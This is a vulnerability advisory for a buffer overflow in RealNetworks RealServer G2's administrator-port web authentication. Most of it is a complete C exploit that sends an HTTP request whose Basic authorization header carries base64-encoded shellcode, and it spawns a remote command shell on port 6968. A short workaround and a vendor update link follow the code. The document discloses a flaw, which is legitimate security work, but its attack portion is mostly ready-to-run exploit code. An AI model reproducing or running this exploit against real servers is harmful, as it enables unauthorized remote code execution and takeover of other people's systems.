COMMAND
RealServer G2
SYSTEMS AFFECTED
RealNetworks RealServer G2
PROBLEM
dark spyrit found following. A buffer overflow exists in the web
authentication on the RealServer administrator port. By sending
a long user/password pair you can overflow the buffer and execute
arbitrary code. Example:
GET /admin/index.html HTTP/1.0
Connection: Keep-Alive
....
Authorization: Basic <long base64 encoded user/password>
As basic authorization is base64 encoded, this made coding an
exploit extremely annoying - but, of course, could be done.
Example code has been written for the latest (at present) freely
available NT version of RealServer G2 and is available at:
http://www.beavuh.org
The exploit will spawn a command prompt on port 6968 and has been
tested extensively. This was tested with a default installation
- if RealServer is installed in a different directory than the
default, the buffer will need to be adjusted accordingly. The
administrator port is randomly selected at installation, but as
you'll only be testing on your own networks this shouldn't matter.
This was only checked the NT version of this software for the
vulnerability, and it is unknown whether versions on other
platforms are affected.
/* RealNetworks RealServer G2 buffer overflow exploit
*
* by dark spyrit <dspyrit@beavuh.org>
* quick unix port by team teso
*
* the windows binary is available at http://www.beavuh.org.
*
* This exploits a buffer overflow in RealServers web authentication on
* the administrator port - hence the reason the shellcode is base64 encoded.
* This has been tested on the NT version with a default installation.
* If RealServer is installed in a different directory than the default, the
* buffer will need to be adjusted accordingly.
* The administrator port is randomly selected at installation, but as you'll
* only be testing on your own networks this won't matter :)
*/
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>
/* local functions
*/
unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec);
unsigned char sploit[] =
"GET /admin/index.html HTTP/1.0\x0d\x0a"
"Connection: Keep-Alive\x0d\x0a"
"User-Agent: Mozilla/4.04 [en] (X11; I; Beavuh OS .9 i486; Nav)\x0d\x0a"
"Host: 111.111.11.1:1111\x0d\x0a"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\x0d\x0a"
"Accept-Language: en\x0d\x0a"
"Accept-Charset: iso-8859-1,*,utf-8\x0d\x0a"
"Authorization: Basic kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
"JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
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"JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
"QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
"JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
"QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
"JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
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"/bYmdrr/Pjt/Mnr9vr86urYmdr19ur80fj3/fX8mcn8/PLX+PT8/cnw6fyZ3vX2+/j12PX"
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"84fyZ/////w==\x0d\x0a\x0d\x0a\x00";
int
main (int argc, char **argv)
{
int socket;
char *server;
unsigned short int port;
struct sockaddr_in sa;
if (argc != 3) {
printf ("RealServer G2 exploit [NT] - please check http://www.beavuh.org for info.\n"
"by dark spyrit <dspyrit@beavuh.org>, port by team teso\n\n"
"usage: %s <host> <admin_port>\n"
"eg - %s host.com 6666\n"
"the exploit will spawn a command prompt on port 6968\n\n", argv[0], argv[0]);
exit (EXIT_FAILURE);
}
server = argv[1];
port = atoi (argv[2]);
socket = net_connect (&sa, server, port, 45);
if (socket <= 0) {
perror ("net_connect");
exit (EXIT_FAILURE);
}
write (socket, sploit, strlen (sploit));
sleep (1);
close (socket);
printf ("data sent. try \"telnet %s 6968\" now \n", server);
exit (EXIT_SUCCESS);
}
unsigned long int
net_resolve (char *host)
{
long i;
struct hostent *he;
i = inet_addr (host);
if (i == -1) {
he = gethostbyname (host);
if (he == NULL) {
return (0);
} else {
return (*(unsigned long *) he->h_addr);
}
}
return (i);
}
int
net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec)
{
int n, len, error, flags;
int fd;
struct timeval tv;
fd_set rset, wset;
/* first allocate a socket */
cs->sin_family = AF_INET;
cs->sin_port = htons (port);
fd = socket (cs->sin_family, SOCK_STREAM, 0);
if (fd == -1)
return (-1);
cs->sin_addr.s_addr = net_resolve (server);
if (cs->sin_addr.s_addr == 0) {
close (fd);
return (-1);
}
flags = fcntl (fd, F_GETFL, 0);
if (flags == -1) {
close (fd);
return (-1);
}
n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
if (n == -1) {
close (fd);
return (-1);
}
error = 0;
n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
if (n < 0) {
if (errno != EINPROGRESS) {
close (fd);
return (-1);
}
}
if (n == 0)
goto done;
FD_ZERO(&rset);
FD_ZERO(&wset);
FD_SET(fd, &rset);
FD_SET(fd, &wset);
tv.tv_sec = sec;
tv.tv_usec = 0;
n = select(fd + 1, &rset, &wset, NULL, &tv);
if (n == 0) {
close(fd);
errno = ETIMEDOUT;
return (-1);
}
if (n == -1)
return (-1);
if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
len = sizeof(error);
if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
errno = ETIMEDOUT;
return (-1);
}
if (error == 0) {
goto done;
} else {
errno = error;
return (-1);
}
}
} else
return (-1);
done:
n = fcntl(fd, F_SETFL, flags);
if (n == -1)
return (-1);
return (fd);
}
SOLUTION
Brendan Brannen posted a workaround to help any of you that are
using the RealServer G2: "While this may not be the best fix for
everyone, on our server, I simply went in to the .cfg file and
(after backing it up of course) deleted the entry that specified
the admin port. I then stopped and restarted the rmserver
service. While this does of course effectively turn off the
administrative capabilities of the software, you can of course
switch between your backed up version and the new one of the CFG
file to re-enable this service. It's a kludge, but it fixes the
hole until Real comes out with something..."
Update available on:
http://service.real.com/help/faq/servg260.html